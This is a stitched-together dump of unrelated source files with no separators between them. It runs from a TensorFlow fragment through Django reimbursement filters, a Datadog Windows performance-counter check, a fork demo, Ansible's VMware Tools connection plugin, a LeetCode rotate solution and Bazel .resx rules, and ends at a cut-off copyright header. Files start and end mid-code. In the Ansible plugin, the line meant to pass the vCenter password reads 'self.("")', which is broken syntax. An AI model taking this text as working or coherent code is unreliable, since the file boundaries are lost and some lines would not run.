feed_dict=feed_dict) et = time.time() sess.close() tc = et - st res.append({'a': oo[2], 'b': oo[3], 'logq': oo[4], 'rate_impute': oo1[0], 'point_impute': oo1[1], 'var_est': oo1[2], 'em_time': tc}) return res import django_filters import django_tables2 as tables from django import forms from django.db.models import Q from reimbursement.models import Reimbursement, RE_STATUS class ReimbursementFilter(django_filters.FilterSet): search = django_filters.CharFilter(method='search_filter', label='Search') status = django_filters.MultipleChoiceFilter('status', label='Status', choices=RE_STATUS, widget=forms.CheckboxSelectMultiple) def search_filter(self, queryset, name, value): return queryset.filter( Q(hacker__email__icontains=value) | Q(hacker__name__icontains=value) | Q(origin__icontains=value) ) class Meta: model = Reimbursement fields = ['search', 'status'] class ReimbursementTable(tables.Table): detail = tables.TemplateColumn( "Detail ", verbose_name='Actions', orderable=False) class Meta: model = Reimbursement attrs = {'class': 'table table-hover'} template = 'django_tables2/bootstrap-responsive.html' fields = ['hacker.name', 'hacker.email', 'assigned_money', 'reimbursement_money', 'status', 'origin', ] empty_text = 'No reimbursement match criteria' class SendReimbursementFilter(django_filters.FilterSet): search = django_filters.CharFilter(method='search_filter', label='Search') def search_filter(self, queryset, name, value): return queryset.filter( Q(hacker__email__icontains=value) | Q(hacker__name__icontains=value) | Q(origin__icontains=value) ) class Meta: model = Reimbursement fields = ['search', ] class SendReimbursementTable(tables.Table): detail = tables.TemplateColumn( "Open ", verbose_name='Actions', orderable=False) selected = tables.CheckBoxColumn(accessor="pk", verbose_name='Select') assigned_money = tables.TemplateColumn( " ", verbose_name='Assigned money', orderable=False) class Meta: model = Reimbursement attrs = {'class': 'table table-hover'} template = 'django_tables2/bootstrap-responsive.html' fields = ['selected', 'assigned_money', 'hacker.email', 'origin', ] empty_text = 'No reimbursement match criteria' tdimnet/integrations-coredatadog_checks_base/datadog_checks/base/checks/windows/perf_counters/counter.py # (C) Datadog, Inc. 2021-present # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import re from collections import defaultdict import pywintypes import win32pdh from ....errors import ConfigTypeError, ConfigValueError from .transform import NATIVE_TRANSFORMERS, TRANSFORMERS from .utils import construct_counter_path, format_instance, get_counter_value class PerfObject: def __init__(self, check, connection, name, config, use_localized_counters, tags): self.check = check self.logger = check.log self.connection = connection self.use_localized_counters = config.get('use_localized_counters', use_localized_counters) self.tags = tags # The name of the performance object e.g. System self.name = name # The prefix of all metrics self.metric_prefix = config.get('name', '') if not isinstance(self.metric_prefix, str): raise ConfigTypeError(f'Option `name` for performance object `{self.name}` must be a string') elif not self.metric_prefix: raise ConfigValueError(f'Option `name` for performance object `{self.name}` is required') # The tag name used for any instances self.tag_name = config.get('tag_name', '') if not isinstance(self.tag_name, str): raise ConfigTypeError(f'Option `tag_name` for performance object `{self.name}` must be a string') include_patterns = config.get('include', []) if not isinstance(include_patterns, list): raise ConfigTypeError(f'Option `include` for performance object `{self.name}` must be an array') elif not include_patterns: self.include_pattern = None else: for i, pattern in enumerate(include_patterns, 1): if not isinstance(pattern, str): raise ConfigTypeError( f'Pattern #{i} of option `include` for performance object `{self.name}` must be a string' ) self.include_pattern = re.compile('|'.join(include_patterns)) exclude_patterns = config.get('exclude', []) if not isinstance(exclude_patterns, list): raise ConfigTypeError(f'Option `exclude` for performance object `{self.name}` must be an array') else: for i, pattern in enumerate(exclude_patterns, 1): if not isinstance(pattern, str): raise ConfigTypeError( f'Pattern #{i} of option `exclude` for performance object `{self.name}` must be a string' ) final_exclude_patterns = [r'\b_Total\b'] final_exclude_patterns.extend(exclude_patterns) self.exclude_pattern = re.compile('|'.join(final_exclude_patterns)) instance_counts = config.get('instance_counts', {}) if not isinstance(instance_counts, dict): raise ConfigTypeError(f'Option `instance_counts` for performance object `{self.name}` must be a mapping') unknown_count_types = set(instance_counts) - {'total', 'monitored', 'unique'} if unknown_count_types: raise ConfigValueError( f'Option `instance_counts` for performance object `{self.name}` has unknown types: ' f'{", ".join(sorted(unknown_count_types))}' ) for count_type, metric_name in instance_counts.items(): if not isinstance(metric_name, str): raise ConfigTypeError( f'Metric name for count type `{count_type}` of option `instance_counts` for performance object ' f'`{self.name}` must be a string' ) self.instance_count_total_metric = instance_counts.get('total') self.instance_count_monitored_metric = instance_counts.get('monitored') self.instance_count_unique_metric = instance_counts.get('unique') self.counters_config = config.get('counters', []) if not isinstance(self.counters_config, list): raise ConfigTypeError(f'Option `counters` for performance object `{self.name}` must be an array') elif not self.counters_config: raise ConfigValueError(f'Option `counters` for performance object `{self.name}` is required') # We'll configure on the first run because it's necessary to figure out whether the # object contains single or multi-instance counters, see: # https://docs.microsoft.com/en-us/windows/win32/perfctrs/object-and-counter-design self.counters = [] self.has_multiple_instances = False def collect(self): for counter in self.counters: counter.collect() def refresh(self): # https://docs.microsoft.com/en-us/windows/win32/api/pdh/nf-pdh-pdhenumobjectitemsa # https://mhammond.github.io/pywin32/win32pdh__EnumObjectItems_meth.html counters, instances = win32pdh.EnumObjectItems( None, self.connection.server, self.name, win32pdh.PERF_DETAIL_WIZARD ) if not self.counters: self._configure_counters(counters, instances) counters = set(counters) total_instance_count = 0 monitored_instance_count = 0 unique_instance_counts = defaultdict(int) for instance in instances: total_instance_count += 1 if self._instance_excluded(instance): continue monitored_instance_count += 1 unique_instance_counts[instance] += 1 if self.has_multiple_instances: if self.instance_count_total_metric is not None: self.check.gauge(self.instance_count_total_metric, total_instance_count, tags=self.tags) if self.instance_count_monitored_metric is not None: self.check.gauge(self.instance_count_monitored_metric, monitored_instance_count, tags=self.tags) if self.instance_count_unique_metric is not None: self.check.gauge(self.instance_count_unique_metric, len(unique_instance_counts), tags=self.tags) for counter in self.counters: if counter.name not in counters: self.logger.error( 'Did not find expected counter `%s` of performance object `%s`', counter.name, self.name ) counter.clear() else: counter.refresh(unique_instance_counts) def clear(self): for counter in self.counters: counter.clear() def _configure_counters(self, available_counters, available_instances): if not available_counters: return if self.use_localized_counters: # https://docs.microsoft.com/en-us/windows/win32/api/pdh/nf-pdh-pdhaddcountera # https://mhammond.github.io/pywin32/win32pdh__AddCounter_meth.html counter_selector = win32pdh.AddCounter else: # https://docs.microsoft.com/en-us/windows/win32/api/pdh/nf-pdh-pdhaddenglishcountera # https://mhammond.github.io/pywin32/win32pdh__AddEnglishCounter_meth.html counter_selector = win32pdh.AddEnglishCounter if available_instances: counter_type = MultiCounter self.has_multiple_instances = True else: possible_path = construct_counter_path( machine_name=self.connection.server, object_name=self.name, counter_name=available_counters[0] ) # https://docs.microsoft.com/en-us/windows/win32/api/pdh/nf-pdh-pdhvalidatepatha # https://mhammond.github.io/pywin32/win32pdh__ValidatePath_meth.html if win32pdh.ValidatePath(possible_path) == 0: counter_type = SingleCounter self.has_multiple_instances = False # Multi-instance counter with no instances presently else: counter_type = MultiCounter self.has_multiple_instances = True tag_name = self.tag_name if self.has_multiple_instances: if not tag_name: tag_name = 'instance' else: if tag_name: self._log_multi_instance_option_defined('tag_name') if self.include_pattern is not None: self._log_multi_instance_option_defined('include') if self.exclude_pattern.pattern.count('|') > 0: self._log_multi_instance_option_defined('exclude') if ( self.instance_count_total_metric or self.instance_count_monitored_metric or self.instance_count_unique_metric ): self._log_multi_instance_option_defined('instance_counts') custom_transformers = self.get_custom_transformers() counters = {} for i, entry in enumerate(self.counters_config, 1): if not isinstance(entry, dict): raise ConfigTypeError( f'Entry #{i} of option `counters` for performance object `{self.name}` must be a mapping' ) for counter_name, counter_config in entry.items(): if isinstance(counter_config, str): counter_config = {'name': counter_config} elif not isinstance(counter_config, dict): raise ConfigTypeError( f'Counter `{counter_name}` for performance object `{self.name}` must be a string or mapping' ) elif counter_name in counters: raise ConfigValueError( f'Counter `{counter_name}` for performance object `{self.name}` is already defined' ) if counter_type is SingleCounter: counters[counter_name] = counter_type( counter_name, counter_config, self.check, self.connection, self.name, self.metric_prefix, counter_selector, self.tags, custom_transformers.get(counter_name), ) else: counters[counter_name] = counter_type( counter_name, counter_config, self.check, self.connection, self.name, self.metric_prefix, counter_selector, self.tags, custom_transformers.get(counter_name), tag_name, ) self.counters.extend(counters.values()) def get_custom_transformers(self): return {} def _instance_excluded(self, instance): return self.exclude_pattern.search(instance) or ( self.include_pattern is not None and not self.include_pattern.search(instance) ) def _log_multi_instance_option_defined(self, option_name): self.logger.warning( 'Ignoring option `%s` for performance object `%s` since it contains single instance counters', option_name, self.name, ) class CounterBase: def __init__( self, name, config, check, connection, object_name, metric_prefix, counter_selector, tags, custom_transformer ): self.logger = check.log self.connection = connection self.counter_selector = counter_selector self.tags = tags # The name of the counter e.g. System Calls/sec self.name = name # The name of the performance object e.g. System self.object_name = object_name self.metric_name = config.get('metric_name', '') if not isinstance(self.metric_name, str): raise ConfigTypeError( f'Option `metric_name` for counter `{self.name}` of performance object ' f'`{self.object_name}` must be a string' ) elif not self.metric_name: metric_suffix = config.get('name', '') if not isinstance(metric_suffix, str): raise ConfigTypeError( f'Option `name` for counter `{self.name}` of performance object ' f'`{self.object_name}` must be a string' ) elif not metric_suffix: raise ConfigValueError( f'Option `name` for counter `{self.name}` of performance object `{self.object_name}` is required' ) self.metric_name = f'{metric_prefix}.{metric_suffix}' if custom_transformer is not None: self.metric_type = 'custom' self.transformer = custom_transformer(check, self.metric_name, config) else: self.metric_type = config.get('type', 'gauge') if not isinstance(self.metric_type, str): raise ConfigTypeError( f'Option `type` for counter `{self.name}` of performance object ' f'`{self.object_name}` must be a string' ) elif self.metric_type not in TRANSFORMERS: raise ConfigValueError( f'Unknown `type` for counter `{self.name}` of performance object `{self.object_name}`' ) try: self.transformer = TRANSFORMERS[self.metric_type](check, self.metric_name, config) except Exception as e: error = ( f'Error compiling transformer for counter `{self.name}` of performance object ' f'`{self.object_name}`: {e}' ) raise type(e)(error) from None def handle_counter_value_error(self, error, instance=None): # Counter requires at least 2 data points to return a meaningful value, see: # https://docs.microsoft.com/en-us/windows/win32/api/pdh/nf-pdh-pdhgetformattedcountervalue#remarks # # https://mhammond.github.io/pywin32/error.html if error.strerror != 'The data is not valid.': raise if instance is None: self.logger.debug( 'Waiting on another data point for counter `%s` of performance object `%s`', self.name, self.object_name, ) else: self.logger.debug( 'Waiting on another data point for instance `%s` of counter `%s` of performance object `%s`', instance, self.name, self.object_name, ) class SingleCounter(CounterBase): def __init__( self, name, config, check, connection, object_name, metric_prefix, counter_selector, tags, custom_transformer ): super().__init__( name, config, check, connection, object_name, metric_prefix, counter_selector, tags, custom_transformer ) self.path = construct_counter_path( machine_name=self.connection.server, object_name=self.object_name, counter_name=self.name ) self.counter_handle = None def collect(self): try: value = get_counter_value(self.counter_handle) except pywintypes.error as error: self.handle_counter_value_error(error) else: self.transformer(value, tags=self.tags) def refresh(self, _): if self.counter_handle is None: self.counter_handle = self.counter_selector(self.connection.query_handle, self.path) def clear(self): if self.counter_handle is None: return try: # https://docs.microsoft.com/en-us/windows/win32/api/pdh/nf-pdh-pdhremovecounter # https://mhammond.github.io/pywin32/win32pdh__RemoveCounter_meth.html win32pdh.RemoveCounter(self.counter_handle) except Exception as e: self.logger.warning( 'Unable to remove handle for counter `%s` of performance object `%s`: %s', self.name, self.object_name, e, ) self.counter_handle = None class MultiCounter(CounterBase): def __init__( self, name, config, check, connection, object_name, metric_prefix, counter_selector, tags, custom_transformer, tag_name, ): super().__init__( name, config, check, connection, object_name, metric_prefix, counter_selector, tags, custom_transformer ) self.tag_name = tag_name self.average = config.get('average', False) if not isinstance(self.average, bool): raise ConfigTypeError( f'Option `average` for counter `{self.name}` of performance ' f'object `{self.object_name}` must be a boolean' ) self.aggregate_transformer = None self.aggregate = config.get('aggregate', False) if not isinstance(self.aggregate, bool) and self.aggregate != 'only': raise ConfigTypeError( f'Option `aggregate` for counter `{self.name}` of performance ' f'object `{self.object_name}` must be a boolean or set to `only`' ) elif self.aggregate is not False: if self.metric_type not in NATIVE_TRANSFORMERS: raise ConfigTypeError( f'Option `aggregate` for counter `{self.name}` of performance object `{self.object_name}` is ' f'enabled so `type` must be set to one of the following: {", ".join(NATIVE_TRANSFORMERS)}' ) else: metric_name = f'{self.metric_name}.avg' if self.average else f'{self.metric_name}.sum' self.aggregate_transformer = NATIVE_TRANSFORMERS[self.metric_type](check, metric_name, config) # All monitored counter handles keyed by the instance name self.instances = {} def collect(self): handles_with_data = 0 total = 0 for instance, counter_handles in self.instances.items(): # Some instances may not have a value yet, so we only # use the ones that do for computing averages instance_handles_with_data = len(counter_handles) instance_total = 0 for i, counter_handle in enumerate(counter_handles): try: value = get_counter_value(counter_handle) except pywintypes.error as error: instance_handles_with_data -= 1 self.handle_counter_value_error(error, format_instance(instance, i)) else: instance_total += value if not instance_handles_with_data: continue handles_with_data += instance_handles_with_data total += instance_total if self.aggregate != 'only': tags = [f'{self.tag_name}:{instance}'] tags.extend(self.tags) if self.average: self.transformer(instance_total / instance_handles_with_data, tags=tags) else: self.transformer(instance_total, tags=tags) if not handles_with_data: return if self.aggregate is not False: if self.average: self.aggregate_transformer(total / handles_with_data, tags=self.tags) else: self.aggregate_transformer(total, tags=self.tags) def refresh(self, instance_counts): old_instances = self.instances new_instances = {} for instance, current_count in instance_counts.items(): if instance in old_instances: counter_handles = old_instances.pop(instance) new_instances[instance] = counter_handles old_count = len(counter_handles) if current_count > old_count: for index in range(old_count, current_count): path = construct_counter_path( machine_name=self.connection.server, object_name=self.object_name, counter_name=self.name, instance_name=instance, instance_index=index, ) counter_handle = self.counter_selector(self.connection.query_handle, path) counter_handles.append(counter_handle) elif current_count < old_count: for _ in range(old_count - current_count): counter_handle = counter_handles.pop() try: # https://docs.microsoft.com/en-us/windows/win32/api/pdh/nf-pdh-pdhremovecounter # https://mhammond.github.io/pywin32/win32pdh__RemoveCounter_meth.html win32pdh.RemoveCounter(counter_handle) except Exception as e: self.logger.warning( 'Unable to remove handle for instance `%s` of counter `%s` ' 'of performance object `%s`: %s', format_instance(instance, len(counter_handles)), self.name, self.object_name, e, ) else: counter_handles = [] new_instances[instance] = counter_handles for index in range(current_count): path = construct_counter_path( machine_name=self.connection.server, object_name=self.object_name, counter_name=self.name, instance_name=instance, instance_index=index, ) counter_handle = self.counter_selector(self.connection.query_handle, path) counter_handles.append(counter_handle) # Remove expired instances self.clear() self.instances = new_instances def clear(self): if not self.instances: return for instance, counter_handles in self.instances.items(): while counter_handles: counter_handle = counter_handles.pop() try: # https://docs.microsoft.com/en-us/windows/win32/api/pdh/nf-pdh-pdhremovecounter # https://mhammond.github.io/pywin32/win32pdh__RemoveCounter_meth.html win32pdh.RemoveCounter(counter_handle) except Exception as e: self.logger.warning( 'Unable to remove handle for instance `%s` of counter `%s` of performance object `%s`: %s', format_instance(instance, len(counter_handles)), self.name, self.object_name, e, ) self.instances.clear() OnikenX/github-twitter-commits- import os print("Process id before forking: {}".format(os.getpid())) try: pid = os.fork() except OSError: exit("Could not create a child process") if pid == 0: print("In the child process that has the PID {}".format(os.getpid())) exit() print("In the parent process after forking the child {}".format(pid)) finished = os.waitpid(0, 0) print(finished) virt/ansible-latest/lib/python2.7/site-packages/ansible/plugins/connection/vmware_tools.py1-10 # Copyright: (c) 2018, <> # Copyright: (c) 2018, Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type import re from os.path import exists, getsize from socket import gaierror from ssl import SSLError from time import sleep import traceback REQUESTS_IMP_ERR = None try: import requests HAS_REQUESTS = True except ImportError: REQUESTS_IMP_ERR = traceback.format_exc() HAS_REQUESTS = False try: from requests.packages import urllib3 HAS_URLLIB3 = True except ImportError: try: import urllib3 HAS_URLLIB3 = True except ImportError: HAS_URLLIB3 = False from ansible.errors import AnsibleError, AnsibleFileNotFound, AnsibleConnectionFailure from ansible.module_utils._text import to_bytes, to_native from ansible.plugins.connection import ConnectionBase from ansible.module_utils.basic import missing_required_lib try: from pyVim.connect import Disconnect, SmartConnect, SmartConnectNoSSL from pyVmomi import vim HAS_PYVMOMI = True except ImportError: HAS_PYVMOMI = False PYVMOMI_IMP_ERR = traceback.format_exc() DOCUMENTATION = """ author: <> connection: vmware_tools short_description: Execute tasks inside a VM via VMware Tools description: - Use VMware tools to run tasks in, or put/fetch files to guest operating systems running in VMware infrastructure. - In case of Windows VMs, set C(ansible_shell_type) to C(powershell). - Does not work with 'become'. version_added: "2.8" requirements: - pyvmomi (Python library) - requests (Python library) options: vmware_host: description: - FQDN or IP Address for the connection (vCenter or ESXi Host). env: - name: VI_SERVER - name: VMWARE_HOST vars: - name: ansible_host - name: ansible_vmware_host required: True vmware_user: description: - Username for the connection. - "Requires the following permissions on the VM: - VirtualMachine.GuestOperations.Execute - VirtualMachine.GuestOperations.Modify - VirtualMachine.GuestOperations.Query" env: - name: VI_USERNAME - name: VMWARE_USER vars: - name: ansible_vmware_user required: True vmware_password: description: - Password for the connection. env: - name: VI_PASSWORD - name: VMWARE_PASSWORD vars: - name: ansible_vmware_password required: True vmware_port: description: - Port for the connection. env: - name: VI_PORTNUMBER - name: VMWARE_PORT vars: - name: ansible_port - name: ansible_vmware_port required: False default: 443 validate_certs: description: - Verify SSL for the connection. - "Note: This will validate certs for both C(vmware_host) and the ESXi host running the VM." env: - name: VMWARE_VALIDATE_CERTS vars: - name: ansible_vmware_validate_certs default: True type: bool vm_path: description: - VM path absolute to the connection. - "vCenter Example: C(Datacenter/vm/Discovered virtual machine/testVM)." - "ESXi Host Example: C(ha-datacenter/vm/testVM)." - Must include VM name, appended to 'folder' as would be passed to M(vmware_guest). - Needs to include I(vm) between the Datacenter and the rest of the VM path. - Datacenter default value for ESXi server is C(ha-datacenter). - Folder I(vm) is not visible in the vSphere Web Client but necessary for VMware API to work. vars: - name: ansible_vmware_guest_path required: True vm_user: description: - VM username. vars: - name: ansible_user - name: ansible_vmware_tools_user required: True vm_password: description: - Password for the user in guest operating system. vars: - name: ansible_password - name: ansible_vmware_tools_password required: True exec_command_sleep_interval: description: - Time in seconds to sleep between execution of command. vars: - name: ansible_vmware_tools_exec_command_sleep_interval default: 0.5 type: float file_chunk_size: description: - File chunk size. - "(Applicable when writing a file to disk, example: using the C(fetch) module.)" vars: - name: ansible_vmware_tools_file_chunk_size default: 128 type: integer executable: description: - shell to use for execution inside container default: /bin/sh ini: - section: defaults key: executable env: - name: ANSIBLE_EXECUTABLE vars: - name: ansible_executable - name: ansible_vmware_tools_executable """ EXAMPLES = r''' # example vars.yml --- ansible_connection: vmware_tools ansible_vmware_host: vcenter.example.com ansible_vmware_user: ansible_vmware_password: ansible_vmware_validate_certs: no # default is yes # vCenter Connection VM Path Example ansible_vmware_guest_path: DATACENTER/vm/FOLDER/{{ inventory_hostname }} # ESXi Connection VM Path Example ansible_vmware_guest_path: ha-datacenter/vm/{{ inventory_hostname }} ansible_vmware_tools_user: root ansible_vmware_tools_password: # if the target VM guest is Windows set the 'ansible_shell_type' to 'powershell' ansible_shell_type: powershell # example playbook_linux.yml --- - name: Test VMware Tools Connection Plugin for Linux hosts: linux tasks: - command: whoami - ping: - copy: src: foo dest: /home/user/foo - fetch: src: /home/user/foo dest: linux-foo flat: yes - file: path: /home/user/foo state: absent # example playbook_windows.yml --- - name: Test VMware Tools Connection Plugin for Windows hosts: windows tasks: - win_command: whoami - win_ping: - win_copy: src: foo dest: C:\Users\user\foo - fetch: src: C:\Users\user\foo dest: windows-foo flat: yes - win_file: path: C:\Users\user\foo state: absent ''' class Connection(ConnectionBase): """VMware Tools Connection.""" transport = "vmware_tools" @property def vmware_host(self): """Read-only property holding the connection address.""" return self.get_option("vmware_host") @property def validate_certs(self): """Read-only property holding whether the connection should validate certs.""" return self.get_option("validate_certs") @property def authManager(self): """Guest Authentication Manager.""" return self._si.content.guestOperationsManager.authManager @property def fileManager(self): """Guest File Manager.""" return self._si.content.guestOperationsManager.fileManager @property def processManager(self): """Guest Process Manager.""" return self._si.content.guestOperationsManager.processManager @property def windowsGuest(self): """Return if VM guest family is windows.""" return self.vm.guest.guestFamily == "windowsGuest" def __init__(self, *args, **kwargs): """init.""" super(Connection, self).__init__(*args, **kwargs) if hasattr(self, "_shell") and self._shell.SHELL_FAMILY == "powershell": self.module_implementation_preferences = (".ps1", ".exe", "") self.become_methods = ["runas"] self.allow_executable = False self.has_pipelining = True self.allow_extras = True def _establish_connection(self): connection_kwargs = { "host": self.vmware_host, "user": self.get_option("vmware_user"), "pwd": self.(""), "port": self.get_option("vmware_port"), } if self.validate_certs: connect = SmartConnect else: if HAS_URLLIB3: urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) connect = SmartConnectNoSSL try: self._si = connect(**connection_kwargs) except SSLError: raise AnsibleError("SSL Error: Certificate verification failed.") except (gaierror): raise AnsibleError("Connection Error: Unable to connect to '%s'." % to_native(connection_kwargs["host"])) except vim.fault.InvalidLogin as e: raise AnsibleError("Connection Login Error: %s" % to_native(e.msg)) def _establish_vm(self): searchIndex = self._si.content.searchIndex self.vm = searchIndex.FindByInventoryPath(self.get_option("vm_path")) if self.vm is None: raise AnsibleError("Unable to find VM by path '%s'" % to_native(self.get_option("vm_path"))) self.vm_auth = vim.NamePasswordAuthentication( username=self.get_option("vm_user"), password=self.get_option("vm_password"), interactiveSession=False ) try: self.authManager.ValidateCredentialsInGuest(vm=self.vm, auth=self.vm_auth) except vim.fault.InvalidPowerState as e: raise AnsibleError("VM Power State Error: %s" % to_native(e.msg)) except vim.fault.RestrictedVersion as e: raise AnsibleError("Restricted Version Error: %s" % to_native(e.msg)) except vim.fault.GuestOperationsUnavailable as e: raise AnsibleError("VM Guest Operations (VMware Tools) Error: %s" % to_native(e.msg)) except vim.fault.InvalidGuestLogin as e: raise AnsibleError("VM Login Error: %s" % to_native(e.msg)) except vim.fault.NoPermission as e: raise AnsibleConnectionFailure("No Permission Error: %s %s" % (to_native(e.msg), to_native(e.privilegeId))) def _connect(self): if not HAS_REQUESTS: raise AnsibleError("%s : %s" % (missing_required_lib('requests'), REQUESTS_IMP_ERR)) if not HAS_PYVMOMI: raise AnsibleError("%s : %s" % (missing_required_lib('PyVmomi'), PYVMOMI_IMP_ERR)) super(Connection, self)._connect() if self.connected: pass self._establish_connection() self._establish_vm() self._connected = True def close(self): """Close connection.""" super(Connection, self).close() Disconnect(self._si) self._connected = False def reset(self): """Reset the connection.""" super(Connection, self).reset() self.close() self._connect() def create_temporary_file_in_guest(self, prefix="", suffix=""): """Create a temporary file in the VM.""" try: return self.fileManager.CreateTemporaryFileInGuest(vm=self.vm, auth=self.vm_auth, prefix=prefix, suffix=suffix) except vim.fault.NoPermission as e: raise AnsibleError("No Permission Error: %s %s" % (to_native(e.msg), to_native(e.privilegeId))) def _get_program_spec_program_path_and_arguments(self, cmd): if self.windowsGuest: cmd_parts = self._shell._encode_script(cmd, as_list=False, strict_mode=False, preserve_rc=False) program_path = "cmd.exe" arguments = "/c %s" % cmd_parts else: program_path = self.get_option("executable") arguments = re.sub(r"^%s\s*" % program_path, "", cmd) return program_path, arguments def _get_guest_program_spec(self, cmd, stdout, stderr): guest_program_spec = vim.GuestProgramSpec() program_path, arguments = self._get_program_spec_program_path_and_arguments(cmd) arguments += " 1> %s 2> %s" % (stdout, stderr) guest_program_spec.programPath = program_path guest_program_spec.arguments = arguments return guest_program_spec def _get_pid_info(self, pid): try: processes = self.processManager.ListProcessesInGuest(vm=self.vm, auth=self.vm_auth, pids=[pid]) except vim.fault.NoPermission as e: raise AnsibleError("No Permission Error: %s %s" % (to_native(e.msg), to_native(e.privilegeId))) return processes[0] def _fix_url_for_hosts(self, url): """ Fix url if connection is a host. The host part of the URL is returned as '*' if the hostname to be used is the name of the server to which the call was made. For example, if the call is made to esx-svr-1.domain1.com, and the file is available for download from http://esx-svr-1.domain1.com/guestFile?id=1&token=1234, the URL returned may be http://*/guestFile?id=1&token=1234. The client replaces the asterisk with the server name on which it invoked the call. https://code.vmware.com/apis/358/vsphere#/doc/vim.vm.guest.FileManager.FileTransferInformation.html """ return url.replace("*", self.vmware_host) def _fetch_file_from_vm(self, guestFilePath): try: fileTransferInformation = self.fileManager.InitiateFileTransferFromGuest(vm=self.vm, auth=self.vm_auth, guestFilePath=guestFilePath) except vim.fault.NoPermission as e: raise AnsibleError("No Permission Error: %s %s" % (to_native(e.msg), to_native(e.privilegeId))) url = self._fix_url_for_hosts(fileTransferInformation.url) response = requests.get(url, verify=self.validate_certs, stream=True) if response.status_code != 200: raise AnsibleError("Failed to fetch file") return response def delete_file_in_guest(self, filePath): """Delete file from VM.""" try: self.fileManager.DeleteFileInGuest(vm=self.vm, auth=self.vm_auth, filePath=filePath) except vim.fault.NoPermission as e: raise AnsibleError("No Permission Error: %s %s" % (to_native(e.msg), to_native(e.privilegeId))) def exec_command(self, cmd, in_data=None, sudoable=True): """Execute command.""" super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable) stdout = self.create_temporary_file_in_guest(suffix=".stdout") stderr = self.create_temporary_file_in_guest(suffix=".stderr") guest_program_spec = self._get_guest_program_spec(cmd, stdout, stderr) try: pid = self.processManager.StartProgramInGuest(vm=self.vm, auth=self.vm_auth, spec=guest_program_spec) except vim.fault.NoPermission as e: raise AnsibleError("No Permission Error: %s %s" % (to_native(e.msg), to_native(e.privilegeId))) except vim.fault.FileNotFound as e: raise AnsibleError("StartProgramInGuest Error: %s" % to_native(e.msg)) pid_info = self._get_pid_info(pid) while pid_info.endTime is None: sleep(self.get_option("exec_command_sleep_interval")) pid_info = self._get_pid_info(pid) stdout_response = self._fetch_file_from_vm(stdout) self.delete_file_in_guest(stdout) stderr_response = self._fetch_file_from_vm(stderr) self.delete_file_in_guest(stderr) return pid_info.exitCode, stdout_response.text, stderr_response.text def fetch_file(self, in_path, out_path): """Fetch file.""" super(Connection, self).fetch_file(in_path, out_path) in_path_response = self._fetch_file_from_vm(in_path) with open(out_path, "wb") as fd: for chunk in in_path_response.iter_content(chunk_size=self.get_option("file_chunk_size")): fd.write(chunk) def put_file(self, in_path, out_path): """Put file.""" super(Connection, self).put_file(in_path, out_path) if not exists(to_bytes(in_path, errors="surrogate_or_strict")): raise AnsibleFileNotFound("file or module does not exist: '%s'" % to_native(in_path)) try: put_url = self.fileManager.InitiateFileTransferToGuest( vm=self.vm, auth=self.vm_auth, guestFilePath=out_path, fileAttributes=vim.GuestFileAttributes(), fileSize=getsize(in_path), overwrite=True ) except vim.fault.NoPermission as e: raise AnsibleError("No Permission Error: %s %s" % (to_native(e.msg), to_native(e.privilegeId))) url = self._fix_url_for_hosts(put_url) # file size of 'in_path' must be greater than 0 with open(in_path, "rb") as fd: response = requests.put(url, verify=self.validate_certs, data=fd) if response.status_code != 200: raise AnsibleError("File transfer failed") 189.py class Solution: def rotate(self, nums, k): for _ in range(k): nums.insert(0, nums.pop(-1)) "Resx rules" load( "@io_bazel_rules_dotnet//dotnet/private:context.bzl", "dotnet_context", ) load( "@io_bazel_rules_dotnet//dotnet/private:providers.bzl", "DotnetResourceListInfo", ) load("@rules_dotnet_skylib//lib:paths.bzl", "paths") def _resx_impl(ctx): """dotnet_resx_impl emits actions for compiling resx to resource.""" dotnet = dotnet_context(ctx, "csharp") name = ctx.label.name resource = dotnet.toolchain.actions.resx( dotnet, name = name, src = ctx.attr.src, identifier = ctx.attr.identifier, out = ctx.attr.out, customresgen = ctx.attr.simpleresgen, ) return [ resource, DotnetResourceListInfo(result = [resource]), DefaultInfo( files = depset([resource.result]), ), ] def _resx_multi_impl(ctx): dotnet = dotnet_context(ctx, "csharp") name = ctx.label.name if ctx.attr.identifierBase != "" and ctx.attr.fixedIdentifierBase != "": fail("Both identifierBase and fixedIdentifierBase cannot be specified") result = [] for d in ctx.attr.srcs: for k in d.files.to_list(): base = paths.dirname(ctx.build_file_path) if ctx.attr.identifierBase != "": identifier = k.path.replace(base, ctx.attr.identifierBase, 1) identifier = identifier.replace("/", ".") identifier = paths.replace_extension(identifier, ".resources") else: identifier = ctx.attr.fixedIdentifierBase + "." + paths.basename(k.path) identifier = paths.replace_extension(identifier, ".resources") resource = dotnet.toolchain.actions.resx( dotnet = dotnet, name = identifier, src = k, identifier = identifier, out = identifier, customresgen = ctx.attr.simpleresgen, ) result.append(resource) return [ DotnetResourceListInfo(result = result), DefaultInfo( files = depset([d.result for d in result]), ), ] core_resx = rule( _resx_impl, attrs = { # source files for this target. "src": attr.label(allow_files = [".resx"], mandatory = True, doc = "The .resx source file that is transformed into .resources file."), "identifier": attr.string(doc = "The logical name for the resource; the name that is used to load the resource. The default is the basename of the file name (no subfolder)."), "out": attr.string(doc = "An alternative name of the output file"), "simpleresgen": attr.label(default = Label("@io_bazel_rules_dotnet//tools/simpleresgen:simpleresgen.exe"), doc = "An alternative tool for generating resources file."), }, toolchains = ["@io_bazel_rules_dotnet//dotnet:toolchain_type_csharp_core"], executable = False, doc = "This builds a dotnet .resources file from a single .resx file. Uses a custom tool to convert text .resx file to .resources files because no standard tool is provided.", ) core_resx_multi = rule( _resx_multi_impl, attrs = { # source files for this target. "srcs": attr.label_list(allow_files = True, mandatory = True, doc = "The source files to be built."), "identifierBase": attr.string(doc = "The logical name for given resource is constructred from identiferBase + \".\" + directory.repalce('/','.') + \".\" + basename + \".resources\". The resulting name should be used to load the resource. Either identifierBase of fixedIdentifierBase must be specified."), "fixedIdentifierBase": attr.string(doc = "The logical name for given resource is constructred from fixedIdentiferBase + \".\" + basename + \".resources\". The resulting name should be used to load the resource."), "simpleresgen": attr.label(default = Label("@io_bazel_rules_dotnet//tools/simpleresgen:simpleresgen.exe"), doc = "An alternative tool for generating resources file."), }, toolchains = ["@io_bazel_rules_dotnet//dotnet:toolchain_type_net"], executable = False, doc = "This builds a dotnet .resources files from multiple .resx file (one for each).", ) ''' Copyright (c) 2018 Uber Technologies, Inc. Licensed under 